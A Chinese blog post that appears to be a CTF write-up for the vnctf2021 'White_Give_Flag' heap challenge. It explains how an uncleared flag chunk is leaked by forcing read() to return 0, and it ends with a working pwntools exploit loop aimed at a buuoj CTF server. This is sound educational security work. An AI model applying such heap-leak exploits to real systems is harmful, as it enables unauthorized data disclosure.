avatar

vnctf2021-White_Give_Flag

例行检查,保护全开,且没给libc

分析

一进去就是一个意义不明的函数,我们先不管它

然后就是正常的菜单题,比较诡异的是choice的选择返回值并不是atoi的,而是read的返回值,add可以添加四个块,show输出一个意义不明的随机数,del和edit也都正常,没有什么问题,现在看起来正常思路就没有了,只能去看看那个意义不明的函数

发现进行了一堆意义不明的malloc,但是最后一次会把flag写入chunk且并没有清零

写到这里我直接震惊,为什么别人的ida和我的不一样,我咋死活看不出来chunk大小

这是我的:

别人的:

行吧。

简而言之,这里是一个[0x300, 0x500]范围内随机大小的chunk,而我们只需要申请这个大小中的chunk,就有可能申请到里面含有flag的chunk,那么如何泄露出来呢?

是靠choice的返回值,它的返回值和read相关,我们只需要使read的返回值是0,就可以访问到qword_202120[ - 1],正好是我们的第四个chunk,我们再把大小为0x10的chunk头部给填充掉,即可获得flag。

ps:pwntools 可以使用 shutdown_raw(‘send’) 关闭管道的 send 方向,使远程 read() 读到 EOF,返回 0。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *


def menu(choice):
io.recvuntil('choice:')
io.sendline(choice)

def add(size):
menu('')
io.recvuntil('size:')
io.sendline(str(size))

def edit(index, data):
menu('123')
io.recvuntil('index:')
io.sendline(str(index))
io.recvuntil('Content:')
io.send(data)


while True :
io = remote('node4.buuoj.cn', 39123)
#io = process("./attachment")

add(0x10)
add(0x10)
add(0x10)
add(0x310)
edit(3, 'x'*0x10)

io.recvuntil('choice:')
io.shutdown_raw('send')
io.recvuntil(b'x'*0x10)
flag = io.recvline()

if b'ctf' in flag:
print(flag)
break

io.close()

文章作者: 0bs3rver
文章链接: http://yoursite.com/2021/04/18/vnctf2021-White-Give-Flag/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 0bs3rver的小屋